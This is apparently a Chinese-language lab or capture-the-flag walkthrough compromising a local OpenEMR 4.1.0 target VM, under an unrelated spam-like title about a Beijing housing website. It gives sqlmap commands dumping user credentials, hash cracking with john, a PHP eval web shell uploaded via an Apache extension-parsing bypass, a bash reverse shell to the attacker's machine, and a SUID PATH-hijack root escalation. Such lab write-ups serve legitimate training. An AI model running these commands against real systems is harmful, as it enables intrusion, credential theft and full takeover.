北京市保障性住房建设投资中心官方网站备案网站设计的用途
文章目录
- 主机发现
 - 端口扫描
 - FTP—21
 - search ProPFTd EXP
 - FTP 匿名用户登录
 
- web服务—80
 - 目录扫描
 - search openemr exp
 - 登录openEMR 后台
 
- 提权
 - 总结
 
主机发现
使用nmap扫描局域网内存活的主机,命令如下:
netdiscover -i eth0 -r 192.168.151.0/24
 

- 192.168.151.1:主机IP;
 - 192.168.151.2:DHCP服务器IP;
 - 192.168.151.3:靶机IP;
 - 192.168.151.4:Kali IP。
 
端口扫描
使用nmap对靶机进行端口扫描,命令如下:
nmap -p- -sV -A 192.168.151.3 
 

 可见这台靶机,开放了端口:21(ftp,文件传输协议))、80(http,web服务)。
FTP—21
search ProPFTd EXP
searchsploit proPTFd # 搜索exp
 
尝试了1.3.3c和1.3.5的EXP,均失败。

FTP 匿名用户登录
尝试匿名用户登录ftp服务器:
ftp 192.168.151.3# 用户名为anonymous 密码为空
 

 发现登录失败,该FTP服务器不允许匿名登录。
web服务—80
目录扫描
使用dirsearch进行目录扫描。命令如下:
dirsearch -u http://192.168.151.3 -e php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak
 

访问192.168.151.3/openemr,发现了一个后台登录程序,版本号为openEMR v4.1.0。

search openemr exp
searchsploit openemr  # 搜索exp
 

 发现该版本的openEMR存在sql注入。
searchsploit -m 49742.py # 将漏洞数据库中的exp复制到当前目录下,避免改数据库中的数据。
vim 49742.py # 更改url路径
python 49742.py # 执行
 

 
 最终可以拿到后台登录用户名与密码,但是密码是经过MD5加密后的结果。同时存在sql注入漏洞的url为:http://192.168.151.3/openemr/interface/login/validateUser.php?u=1。基于改url,也可以直接用sqlmap,命令如下:
sqlmap -u 'http://192.168.151.3/openemr/interface/login/validateUser.php?u=1' # 判断是否存在sql注入
sqlmap -u 'http://192.168.151.3/openemr/interface/login/validateUser.php?u=1' --dbs # 查询当前用户下的所有数据库,存在information_schema、openemr、test三个数据库
sqlmap -u 'http://192.168.151.3/openemr/interface/login/validateUser.php?u=1' -D openemr --tables # 获取数据库中的表名 ,users表
sqlmap -u 'http://192.168.151.3/openemr/interface/login/validateUser.php?u=1' -D openemr -T users --columns # 获取表中的字段名,username,password表
sqlmap -u 'http://192.168.151.3/openemr/interface/login/validateUser.php?u=1' -D openemr -T users -C username,password --dump # 获取字段内容
 

 破解数据库密码
 脚本拿到数据库密码后如何破解呢?用john the ripper
touch pw.txt
echo '' >> pw.txt # >>:代表换行追加
hashid '' # hashid判断密文可能使用的加密算法
john pw.txt
 

 
 
要看具体哪个密文对应哪个密码,看
.john/john.pot
获取用户名、密码:
admin ackbar
medical medical
 
登录openEMR 后台
拿到后台用户名和密码,直接登录
 
 在administered->file处发现一个文件上传点,经过测试不允许上传.php文件。
 
 查看web服务的中间件版本,是apache 2.2.17,这个版本是存在多后缀名解析漏洞的。就是说我们可以上传shell.php.来绕过文件后缀检测。上传的文件最终保存路径就在http://192.168.151.3/openemr/sites/default/images下。
在Apache 2.0.x <= 2.0.59,Apache 2.2.x <= 2.2.17,Apache 2.2.2 <= 2.2.8中Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。
<?php @eval($_GET['cmd']);?> # 上传文件内容
http://192.168.151.3/openemr/sites/default/images/shell.php.?cmd=system('bash -i >& /dev/tcp/192.168.151.4/443 0>&1'); # 数据包cookie需要是admin用户的,后门需要经过url编码。
 
最终的话可以拿到reverse shell。
 
提权
python -c 'import pty;pty.spawn("/bin/bash")' # 建立一个半交互式shell
find / -perm -u=s -type f 2>/dev/null # 搜索具备SUID属性的程序
 
这里发现/usr/bin/healthcheck这个命令肯定不是系统自带的,且具备SUID属性。
 
 cat /usr/bin/healthcheck,出现乱码,说明是二进制程序。
 
也可以用
file /usr/bin/healthcheck,查看文件属性。
strings /usr/bin/healthcheck查看文件中可打印的字符,从结果可以看出,该程序会执行sleep2; ifconfig; fdisk -l; du -h这些shell命令。思路:如果ifconfig命令被重定向为其他程序(比如包含/bin/bash),就可以拿到root用户的shell。
 
 /tmp目录,任何用户都写读写权限。
touch ifconfig # 常见ifconfig文件
chmod +x ifconfig # 给予可执行权限
echo '/bin/bash' > ifconfig # 写入内容
export PATH=/tmp:$PATH # 修改系统环境变量,后面的$PATH是系统默认的路径
/usr/bin/healthcheck # 不用bash /usr/bin/healthcheck
 
$PATH变量的值是一系列用冒号分隔的目录路径。例如:$PATH = /usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/sbin:/sbin在这个例子中,系统将按照指定的顺序搜索/usr/local/bin、/usr/bin、/bin、/usr/local/sbin、/usr/sbin和/sbin这几个目录。

 
总结
- 端口扫描发现开放的端口;
 - 目录扫描发现web网站的上下文,但是需要合适的字典;
 - 发现openemr有漏洞,找到exp直接获取数据库密码;
 - 通过获得的密码,登录网站后台,然后找到文件上传点,结合apache解析漏洞获取reverse shell;
 - 寻找SUID程序
/usr/bin/healthcheck,strings打印可打印字符,发现执行ifconfig,更改系统环境变量,执行ifconfig时优先执行伪造的ifconfig。 

